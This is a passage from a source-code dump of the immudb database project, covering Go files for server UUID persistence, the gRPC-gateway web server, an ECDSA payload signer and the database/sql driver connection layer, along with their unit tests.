// In earlier versions, the file was located inside default DB directory. Now, it // is moved to the data directory. This function migrates the file to data directory // in case it exists in the default db directory. func getOrSetUUID(dataDir, defaultDbDir string, useExternalIdentifier bool) (xid.ID, error) { fileInDataDir := path.Join(dataDir, IDENTIFIER_FNAME) if fileExists(fileInDataDir) { return getUUID(fileInDataDir) } fileInDefaultDbDir := path.Join(defaultDbDir, IDENTIFIER_FNAME) if fileExists(fileInDefaultDbDir) { guid, err := getUUID(fileInDefaultDbDir) if err != nil { return guid, err } err = moveUUIDFile(guid, fileInDataDir, fileInDefaultDbDir) return guid, err } if useExternalIdentifier { return xid.ID{}, nil } guid := xid.New() err := setUUID(guid, fileInDataDir) return guid, err } func getUUID(fname string) (xid.ID, error) { b, err := ioutil.ReadFile(fname) if err != nil { return xid.ID{}, err } return xid.FromBytes(b) } func setUUID(guid xid.ID, fname string) error { return ioutil.WriteFile(fname, guid.Bytes(), os.ModePerm) } func moveUUIDFile(guid xid.ID, fileInDataDir, fileInDefaultDbDir string) error { // write the new file first in case we crash in between. Do not use // os.Rename here because in case of a crash, bad things can happen. if err := setUUID(guid, fileInDataDir); err != nil { return err } // now, delete the old file once we have new file setup err := os.Remove(fileInDefaultDbDir) return err } // fileExists checks if a file exists and is not a directory before we // try using it to prevent further errors. func fileExists(filename string) bool { info, err := os.Stat(filename) if os.IsNotExist(err) { return false } return !info.IsDir() } // UUIDStreamContextSetter set uuid header in a stream func (u *uuidContext) UUIDStreamContextSetter(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { header := metadata.Pairs(SERVER_UUID_HEADER, u.UUID.String()) err := ss.SendHeader(header) if err != nil { return err } return handler(srv, ss) } // UUIDContextSetter set uuid header func (u *uuidContext) UUIDContextSetter(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { header := metadata.Pairs(SERVER_UUID_HEADER, u.UUID.String()) err := grpc.SendHeader(ctx, header) if err != nil { return nil, err } return handler(ctx, req) } ================================================ FILE: pkg/server/uuid_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "io/ioutil" "os" "path" "path/filepath" "testing" "github.com/rs/xid" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/metadata" ) func TestNewUUID(t *testing.T) { dir := t.TempDir() id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), false) require.NoError(t, err) require.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME)) uuid := NewUUIDContext(id) require.Equal(t, uuid.UUID, id) } // test for external identifier and remote storage func TestNoUUID(t *testing.T) { dir := t.TempDir() id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), true) require.NoError(t, err) require.Equal(t, xid.ID{}, id) } func TestExistingUUID(t *testing.T) { x, _ := xid.FromString("bs6c1kn1lu5qfesu061g") dir := t.TempDir() ioutil.WriteFile(filepath.Join(dir, IDENTIFIER_FNAME), x.Bytes(), os.ModePerm) id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), false) require.NoError(t, err) require.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME)) uuid := NewUUIDContext(id) require.Equal(t, uuid.UUID, id) } func TestMigrateUUID(t *testing.T) { dir := t.TempDir() defaultDbDir := filepath.Join(dir, "defaultDb") err := os.Mkdir(defaultDbDir, os.ModePerm) require.NoError(t, err) fileInDefaultDbDir := path.Join(defaultDbDir, IDENTIFIER_FNAME) x, _ := xid.FromString("bs6c1kn1lu5qfesu061g") ioutil.WriteFile(fileInDefaultDbDir, x.Bytes(), os.ModePerm) id, err := getOrSetUUID(dir, defaultDbDir, false) require.NoError(t, err) require.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME)) require.NoFileExists(t, fileInDefaultDbDir, "uuid file not moved, %s", err) uuid := NewUUIDContext(id) require.Equal(t, id, uuid.UUID) } func TestUUIDContextSetter(t *testing.T) { dir := t.TempDir() id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), false) require.NoError(t, err) uuid := NewUUIDContext(id) transportStream := &mockServerTransportStream{} srv := &grpc.UnaryServerInfo{} handler := func(ctx context.Context, req interface{}) (interface{}, error) { ctxUUID, ok := transportStream.SentHeader[SERVER_UUID_HEADER] require.True(t, ok, "error setting uuid") x, err := xid.FromString(ctxUUID[0]) require.NoError(t, err) require.Equal(t, uuid.UUID, x) return req, nil } var req interface{} ctx := grpc.NewContextWithServerTransportStream(context.Background(), transportStream) _, err = uuid.UUIDContextSetter(ctx, req, srv, handler) require.NoError(t, err) } func TestUUIDStreamContextSetter(t *testing.T) { dir := t.TempDir() id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), false) require.NoError(t, err) uuid := NewUUIDContext(id) srv := grpc.StreamServerInfo{} ss := mockServerStream{} handler := func(srv interface{}, stream grpc.ServerStream) error { ctxUUID, ok := ss.SentHeader[SERVER_UUID_HEADER] require.True(t, ok, "error setting uuid") x, err := xid.FromString(ctxUUID[0]) require.NoError(t, err) require.Equal(t, uuid.UUID, x) return nil } var req interface{} err = uuid.UUIDStreamContextSetter(req, &ss, &srv, handler) require.NoError(t, err) } // implement ServerTransportStream type mockServerTransportStream struct { SentHeader metadata.MD } func (r *mockServerTransportStream) Method() string { return "" } func (r *mockServerTransportStream) SetHeader(md metadata.MD) error { return nil } func (r *mockServerTransportStream) SendHeader(md metadata.MD) error { r.SentHeader = md; return nil } func (r *mockServerTransportStream) SetTrailer(md metadata.MD) error { return nil } // implement ServerStream type mockServerStream struct { SentHeader metadata.MD ctx context.Context } func (r *mockServerStream) SetHeader(md metadata.MD) error { return nil } func (r *mockServerStream) SendHeader(md metadata.MD) error { r.SentHeader = md; return nil } func (r *mockServerStream) SetTrailer(md metadata.MD) {} func (r *mockServerStream) Context() context.Context { return r.ctx } func (r *mockServerStream) SendMsg(m interface{}) error { return nil } func (r *mockServerStream) RecvMsg(m interface{}) error { return nil } ================================================ FILE: pkg/server/webserver.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/tls" "net/http" "strings" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/swagger" "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" "google.golang.org/grpc" "google.golang.org/grpc/credentials" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/grpclog" ) func startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsConfig *tls.Config, s *ImmuServer, l logger.Logger) (*http.Server, error) { grpcClient, err := grpcClient(ctx, grpcAddr, tlsConfig) if err != nil { return nil, err } proxyMux := runtime.NewServeMux( runtime.WithIncomingHeaderMatcher(func(key string) (string, bool) { switch strings.ToLower(key) { case "sessionid": return "Sessionid", true default: return runtime.DefaultHeaderMatcher(key) } }), ) err = schema.RegisterImmuServiceHandler(ctx, proxyMux, grpcClient) if err != nil { return nil, err } err = protomodel.RegisterAuthorizationServiceHandler(ctx, proxyMux, grpcClient) if err != nil { return nil, err } err = protomodel.RegisterDocumentServiceHandler(ctx, proxyMux, grpcClient) if err != nil { return nil, err } webMux := http.NewServeMux() webMux.Handle("/api/", http.StripPrefix("/api", proxyMux)) webMux.Handle("/api/v2/", http.StripPrefix("/api/v2", proxyMux)) err = webconsole.SetupWebconsole(webMux, l, httpAddr) if err != nil { return nil, err } if s.Options.SwaggerUIEnabled { err = swagger.SetupSwaggerUI(webMux, l, httpAddr) if err != nil { return nil, err } } httpServer := &http.Server{Addr: httpAddr, Handler: webMux} httpServer.TLSConfig = tlsConfig go func() { var err error if tlsConfig != nil && len(tlsConfig.Certificates) > 0 { l.Infof("web-api server enabled on %s/api (https)", httpAddr) err = httpServer.ListenAndServeTLS("", "") } else { l.Infof("web-api server enabled on %s/api (http)", httpAddr) err = httpServer.ListenAndServe() } if err == http.ErrServerClosed { l.Debugf("web-api/console server closed") } else { l.Errorf("web-api/console error: %s", err) } }() return httpServer, nil } func grpcClient(ctx context.Context, grpcAddr string, tlsConfig *tls.Config) (conn *grpc.ClientConn, err error) { var creds credentials.TransportCredentials if tlsConfig != nil { creds = credentials.NewTLS(&tls.Config{RootCAs: tlsConfig.RootCAs}) } else { creds = insecure.NewCredentials() } conn, err = grpc.Dial(grpcAddr, grpc.WithTransportCredentials(creds)) if err != nil { return conn, err } defer func() { if err != nil { if cerr := conn.Close(); cerr != nil { grpclog.Infof("failed to close conn to %s: %v", grpcAddr, cerr) } return } go func() { <-ctx.Done() if cerr := conn.Close(); cerr != nil { grpclog.Infof("failed to close conn to %s: %v", grpcAddr, cerr) } }() }() return conn, nil } ================================================ FILE: pkg/server/webserver_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/tls" "crypto/x509" "math/big" "net" "net/http" "testing" "time" "github.com/stretchr/testify/require" ) func freePort(t *testing.T) int { t.Helper() l, err := net.Listen("tcp", "127.0.0.1:0") require.NoError(t, err) port := l.Addr().(*net.TCPAddr).Port l.Close() return port } func TestStartWebServerHTTP(t *testing.T) { dir := t.TempDir() options := DefaultOptions(). WithDir(dir). WithAddress("127.0.0.1"). WithPort(freePort(t)). WithWebServerPort(freePort(t)) server := DefaultServer().WithOptions(options).(*ImmuServer) tlsConfig := &tls.Config{ Certificates: []tls.Certificate{}, ClientAuth: tls.VerifyClientCertIfGiven, } webServer, err := startWebServer( context.Background(), options.Bind(), options.WebBind(), tlsConfig, server, &mockLogger{}) require.NoError(t, err) defer webServer.Close() require.IsType(t, &http.Server{}, webServer) client := &http.Client{} require.Eventually(t, func() bool { _, err = client.Get("http://" + options.WebBind()) return err == nil }, 10*time.Second, 30*time.Millisecond) } func TestStartWebServerHTTPS(t *testing.T) { dir := t.TempDir() options := DefaultOptions(). WithDir(dir). WithAddress("127.0.0.1"). WithPort(freePort(t)). WithWebServerPort(freePort(t)) server := DefaultServer().WithOptions(options).(*ImmuServer) tlsConfig := tlsConfigTest(t) webServer, err := startWebServer( context.Background(), options.Bind(), options.WebBind(), tlsConfig, server, &mockLogger{}) require.NoError(t, err) defer webServer.Close() require.IsType(t, &http.Server{}, webServer) tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}} client := &http.Client{Transport: tr} require.Eventually(t, func() bool { _, err = client.Get("https://" + options.WebBind()) return err == nil }, 10*time.Second, 30*time.Millisecond) } func tlsConfigTest(t *testing.T) *tls.Config { key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) require.NoError(t, err) template := &x509.Certificate{ SerialNumber: big.NewInt(1), NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour), IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, DNSNames: []string{"localhost"}, KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, } certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key) require.NoError(t, err) return &tls.Config{ Certificates: []tls.Certificate{{ Certificate: [][]byte{certDER}, PrivateKey: key, }}, } } ================================================ FILE: pkg/signer/ecdsa.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package signer import ( "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/sha256" "crypto/x509" "encoding/asn1" "encoding/pem" "errors" "fmt" "io" "io/ioutil" "math/big" ) var ErrInvalidPublicKey = errors.New("invalid public key") var ErrKeyCannotBeVerified = errors.New("key cannot be verified") type signer struct { rand io.Reader privateKey *ecdsa.PrivateKey } type ecdsaSignature struct { R *big.Int S *big.Int } // NewSigner returns a signer object. It requires a private key file path. To generate a valid key use openssl tool. Ex: openssl ecparam -name prime256v1 -genkey -noout -out ec.key func NewSigner(privateKeyPath string) (Signer, error) { privateKeyBytes, err := ioutil.ReadFile(privateKeyPath) if err != nil { return nil, err } privateKeyBlock, _ := pem.Decode(privateKeyBytes) if privateKeyBlock == nil { return nil, errors.New("no ecdsa key found in provided signing key file") } privateKey, err := x509.ParseECPrivateKey(privateKeyBlock.Bytes) if err != nil { return nil, err } return signer{rand: rand.Reader, privateKey: privateKey}, nil } // NewSignerFromPKey returns a signer from a io.Reader and a *ecdsa.PrivateKey. func NewSignerFromPKey(r io.Reader, pk *ecdsa.PrivateKey) Signer { return signer{rand: r, privateKey: pk} } // sign sign a payload and returns asn1 marshal byte sequence func (sig signer) Sign(payload []byte) ([]byte, []byte, error) { hash := sha256.Sum256(payload) r, s, err := ecdsa.Sign(sig.rand, sig.privateKey, hash[:]) if err != nil { return nil, nil, err } sigToMarshal := ecdsaSignature{R: r, S: s} m, _ := asn1.Marshal(sigToMarshal) pk := sig.privateKey.PublicKey p := elliptic.Marshal(pk.Curve, pk.X, pk.Y) return m, p, nil } func UnmarshalKey(publicKey []byte) (*ecdsa.PublicKey, error) { x, y := elliptic.Unmarshal(elliptic.P256(), publicKey) if x == nil { return nil, ErrInvalidPublicKey } return &ecdsa.PublicKey{Curve: elliptic.P256(), X: x, Y: y}, nil } // verify verifies a signed payload func Verify(payload []byte, signature []byte, publicKey *ecdsa.PublicKey) error { hash := sha256.Sum256(payload) es := ecdsaSignature{} if _, err := asn1.Unmarshal(signature, &es); err != nil { return fmt.Errorf("%w: %v", ErrKeyCannotBeVerified, err) } if !ecdsa.Verify(publicKey, hash[:], es.R, es.S) { return ErrKeyCannotBeVerified } return nil } func ParsePublicKeyFile(filePath string) (*ecdsa.PublicKey, error) { publicKeyBytes, err := ioutil.ReadFile(filePath) if err != nil { return nil, err } publicKeyBlock, _ := pem.Decode(publicKeyBytes) if publicKeyBlock == nil { return nil, errors.New("no ecdsa key found in provided public key file") } cert, err := x509.ParsePKIXPublicKey(publicKeyBlock.Bytes) if err != nil { return nil, err } return cert.(*ecdsa.PublicKey), nil } ================================================ FILE: pkg/signer/ecdsa_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package signer import ( "crypto/sha256" "crypto/x509" "encoding/asn1" "encoding/pem" "io" "io/ioutil" "math/big" "strings" "syscall" "testing" "github.com/stretchr/testify/require" ) func TestNewSigner(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") require.NoError(t, err) var i interface{} = s _, ok := i.(Signer) require.True(t, ok) } func TestNewSignerFromPKey(t *testing.T) { privateKeyBytes, _ := ioutil.ReadFile("./../../test/signer/ec3.key") privateKeyBlock, _ := pem.Decode(privateKeyBytes) pk, _ := x509.ParseECPrivateKey(privateKeyBlock.Bytes) r := strings.NewReader("") s := NewSignerFromPKey(r, pk) var i interface{} = s _, ok := i.(Signer) require.True(t, ok) } func TestNewSignerKeyNotExistent(t *testing.T) { s, err := NewSigner("./not_exists") require.ErrorIs(t, err, syscall.ENOENT) require.Nil(t, s) } func TestNewSignerNoKeyFound(t *testing.T) { s, err := NewSigner("./../../test/signer/unparsable.key") require.ErrorContains(t, err, "no ecdsa key found in provided signing key file") require.Nil(t, s) } func TestNewSignerKeyUnparsable(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.pub") require.ErrorContains(t, err, "x509: failed to parse EC private key") require.Nil(t, s) } func TestSignature_Sign(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") require.NoError(t, err) rawMessage := sha256.Sum256([]byte(`myhash`)) _, _, err = s.Sign(rawMessage[:]) require.NoError(t, err) } func TestSignature_SignError(t *testing.T) { privateKeyBytes, _ := ioutil.ReadFile("./../../test/signer/ec3.key") privateKeyBlock, _ := pem.Decode(privateKeyBytes) pk, _ := x509.ParseECPrivateKey(privateKeyBlock.Bytes) r := strings.NewReader("") s := NewSignerFromPKey(r, pk) _, _, err := s.Sign([]byte(``)) require.ErrorIs(t, err, io.EOF) } func TestSignature_Verify(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") require.NoError(t, err) rawMessage := sha256.Sum256([]byte(`myhash`)) signature, publicKey, _ := s.Sign(rawMessage[:]) ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) err = Verify(rawMessage[:], signature, ecdsaPK) require.NoError(t, err) } func TestSignature_VerifyError(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") require.NoError(t, err) rawMessage := sha256.Sum256([]byte(`myhash`)) _, publicKey, _ := s.Sign(rawMessage[:]) ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) err = Verify(rawMessage[:], []byte(`wrongsignature`), ecdsaPK) require.ErrorIs(t, err, ErrKeyCannotBeVerified) } func TestSignature_VerifyFalse(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") require.NoError(t, err) rawMessage := sha256.Sum256([]byte(`myhash`)) _, publicKey, _ := s.Sign(rawMessage[:]) sigToMarshal := ecdsaSignature{R: &big.Int{}, S: &big.Int{}} m, _ := asn1.Marshal(sigToMarshal) ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) err = Verify(rawMessage[:], m, ecdsaPK) require.ErrorIs(t, err, ErrKeyCannotBeVerified) } func TestUnmarshalKey_Error(t *testing.T) { ecdsaPK, err := UnmarshalKey([]byte(`wrongkey`)) require.Nil(t, ecdsaPK) require.ErrorIs(t, err, ErrInvalidPublicKey) } ================================================ FILE: pkg/signer/signer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package signer type Signer interface { Sign(payload []byte) (signature []byte, publicKey []byte, err error) } ================================================ FILE: pkg/stdlib/connection.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "database/sql/driver" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) type Conn struct { name string immuClient client.ImmuClient options *client.Options driver *Driver tx client.Tx } // Conn returns the underlying client.ImmuClient func (c *Conn) GetImmuClient() client.ImmuClient { return c.immuClient } func (c *Conn) Prepare(query string) (driver.Stmt, error) { return nil, ErrNotImplemented } func (c *Conn) PrepareContext(ctx context.Context, query string) (driver.Stmt, error) { return nil, ErrNotImplemented } func (c *Conn) Close() error { return c.immuClient.CloseSession(context.Background()) } func (c *Conn) ExecContext(ctx context.Context, query string, argsV []driver.NamedValue) (driver.Result, error) { if !c.immuClient.IsConnected() { return nil, driver.ErrBadConn } vals, err := namedValuesToSqlMap(argsV) if err != nil { return nil, err } if c.tx != nil { err = c.tx.SQLExec(ctx, query, vals) if err != nil { return nil, err } return RowsAffected{&schema.SQLExecResult{ OngoingTx: true, }}, nil } execResult, err := c.immuClient.SQLExec(ctx, query, vals) if err != nil { return nil, err } return RowsAffected{execResult}, err } func (c *Conn) QueryContext(ctx context.Context, query string, argsV []driver.NamedValue) (driver.Rows, error) { if !c.immuClient.IsConnected() { return nil, driver.ErrBadConn } vals, err := namedValuesToSqlMap(argsV) if err != nil { return nil, err } if c.tx != nil { reader, err := c.tx.SQLQueryReader(ctx, query, vals) if err != nil { return nil, err } return newRows(reader), nil } reader, err := c.immuClient.SQLQueryReader(ctx, query, vals) if err != nil { return nil, err } return newRows(reader), nil } func (c *Conn) CheckNamedValue(nv *driver.NamedValue) error { // driver.Valuer interface is used instead return nil } func (c *Conn) ResetSession(ctx context.Context) error { if !c.immuClient.IsConnected() { return driver.ErrBadConn } return ErrNotImplemented } ================================================ FILE: pkg/stdlib/connection_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "database/sql/driver" "fmt" "testing" "time" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) func TestConn(t *testing.T) { port, cleanup := testServer(t) defer cleanup() opts := client.DefaultOptions(). WithDir(t.TempDir()). WithPort(port) opts.Username = "immudb" opts.Password = "immudb" opts.Database = "defaultdb" cli, err := client.NewImmuClient(opts) require.NoError(t, err) ctx, cancel := context.WithTimeout(context.Background(), 1*time.Minute) defer cancel() _, err = cli.Login(ctx, []byte(opts.Username), []byte(opts.Password)) require.NoError(t, err) c := Conn{ immuClient: cli, } icli := c.GetImmuClient() require.IsType(t, new(client.ImmuClient), &icli) } func TestConnErr(t *testing.T) { c := Conn{ immuClient: client.NewClient(), options: client.DefaultOptions(), } _, err := c.Prepare("") require.ErrorIs(t, err, ErrNotImplemented) _, err = c.PrepareContext(context.Background(), "") require.ErrorIs(t, err, ErrNotImplemented) _, err = c.Begin() require.ErrorIs(t, err, driver.ErrBadConn) _, err = c.BeginTx(context.Background(), driver.TxOptions{}) require.ErrorIs(t, err, driver.ErrBadConn) _, err = c.ExecContext(context.Background(), "", nil) require.ErrorIs(t, err, driver.ErrBadConn) _, err = c.QueryContext(context.Background(), "", nil) require.ErrorIs(t, err, driver.ErrBadConn) err = c.ResetSession(context.Background()) require.ErrorIs(t, err, driver.ErrBadConn) ris := c.CheckNamedValue(nil) require.Nil(t, ris) } func TestConn_QueryContextErr(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() opts := client.DefaultOptions().WithDir(t.TempDir()) opts.Username = "immudb" opts.Password = "immudb" opts.Database = "defaultdb" opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) db := OpenDB(opts) defer db.Close() _, err := db.QueryContext(context.Background(), "query", 10.5) require.ErrorContains(t, err, "syntax error: unexpected IDENTIFIER") _, err = db.ExecContext(context.Background(), "INSERT INTO myTable(id, name) VALUES (2, 'immu2')") require.ErrorContains(t, err, "table does not exist (mytable)") _, err = db.QueryContext(context.Background(), "SELECT * FROM myTable") require.ErrorContains(t, err, "table does not exist (mytable)") } func TestConn_QueryContext(t *testing.T) { port, cleanup := testServer(t) defer cleanup() opts := client.DefaultOptions().WithDir(t.TempDir()).WithPort(port) opts.Username = "immudb" opts.Password = "immudb" opts.Database = "defaultdb" cli, err := client.NewImmuClient(opts) require.NoError(t, err) ctx, cancel := context.WithTimeout(context.Background(), 1*time.Minute) defer cancel() _, err = cli.Login(ctx, []byte(opts.Username), []byte(opts.Password)) require.NoError(t, err) c := Conn{ immuClient: cli, } table := "mytable" result, err := c.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table), nil) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") argsV := []driver.NamedValue{ {Name: "id", Value: 1}, {Name: "amount", Value: 100}, {Name: "total", Value: 200}, {Name: "title", Value: "title 1"}, {Name: "content", Value: binaryContent}, {Name: "isPresent", Value: true}, } _, err = c.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), argsV) require.NoError(t, err) rows, err := c.QueryContext(ctx, "SELECT * FROM myTable limit 1", nil) require.NoError(t, err) defer rows.Close() dst := make([]driver.Value, 6) rows.Next(dst) require.Equal(t, int64(1), dst[0]) require.Equal(t, int64(100), dst[1]) require.Equal(t, int64(200), dst[2]) require.Equal(t, "title 1", dst[3]) require.Equal(t, binaryContent, dst[4]) require.Equal(t, true, dst[5]) } func TestConn_QueryContextEmptyTable(t *testing.T) { port, cleanup := testServer(t) defer cleanup() opts := client.DefaultOptions().WithDir(t.TempDir()).WithPort(port) opts.Username = "immudb" opts.Password = "immudb" opts.Database = "defaultdb" cli, err := client.NewImmuClient(opts) require.NoError(t, err) ctx, cancel := context.WithTimeout(context.Background(), 1*time.Minute) defer cancel() _, err = cli.Login(ctx, []byte(opts.Username), []byte(opts.Password)) require.NoError(t, err) c := Conn{ immuClient: cli, } table := "emptytable" result, err := c.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table), nil) require.NoError(t, err) require.NotNil(t, result) rows, err := c.QueryContext(ctx, "SELECT * FROM emptytable limit 1", nil) require.NoError(t, err) defer rows.Close() cols := rows.Columns() require.Equal(t, len(cols), 6) } /*func TestConn_Ping(t *testing.T) { options := server.DefaultOptions().WithAuth(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() defer os.RemoveAll(options.Dir) defer os.Remove(".state-") opts := client.DefaultOptions() opts.Username = "immudb" opts.Password = "immudb" opts.Database = "defaultdb" opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) db := OpenDB(opts) defer db.Close() dri := db.Driver() conn, err := dri.Open(GetUri(opts)) require.NoError(t, err) immuConn := conn.(driver.Pinger) err = immuConn.Ping(context.Background()) require.NoError(t, err) }*/ ================================================ FILE: pkg/stdlib/connector.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "database/sql/driver" ) type driverConnector struct { name string driver *Driver } // Connect implement driver.Connector interface func (c *driverConnector) Connect(ctx context.Context) (conn driver.Conn, err error) { c.driver.configMutex.Lock() immuClientOption := c.driver.clientOptions[c.name] c.driver.configMutex.Unlock() if immuClientOption == nil { immuClientOption, err = ParseConfig(c.name) if err != nil { return nil, err } } return c.driver.getNewConnByOptions(ctx, immuClientOption) } func (dc *driverConnector) Driver() driver.Driver { return dc.driver } ================================================ FILE: pkg/stdlib/connector_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "database/sql" "testing" "github.com/codenotary/immudb/pkg/client" "github.com/stretchr/testify/require" ) func TestDriverConnector_Connect(t *testing.T) { port, cleanup := testServer(t) defer cleanup() connStr := RegisterConnConfig(client.DefaultOptions().WithPort(port).WithDir(t.TempDir())) db, err := sql.Open("immudb", connStr) require.NoError(t, err) require.NotNil(t, db) } func TestDriverConnector_ConnectParseError(t *testing.T) { conn, err := immuDriver.Open("not parsable string") require.ErrorIs(t, err, ErrBadQueryString) require.Nil(t, conn) } func TestDriverConnector_Driver(t *testing.T) { c := driverConnector{ driver: immuDriver, } d := c.Driver() require.IsType(t, &Driver{}, d) } ================================================ FILE: pkg/stdlib/driver.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at 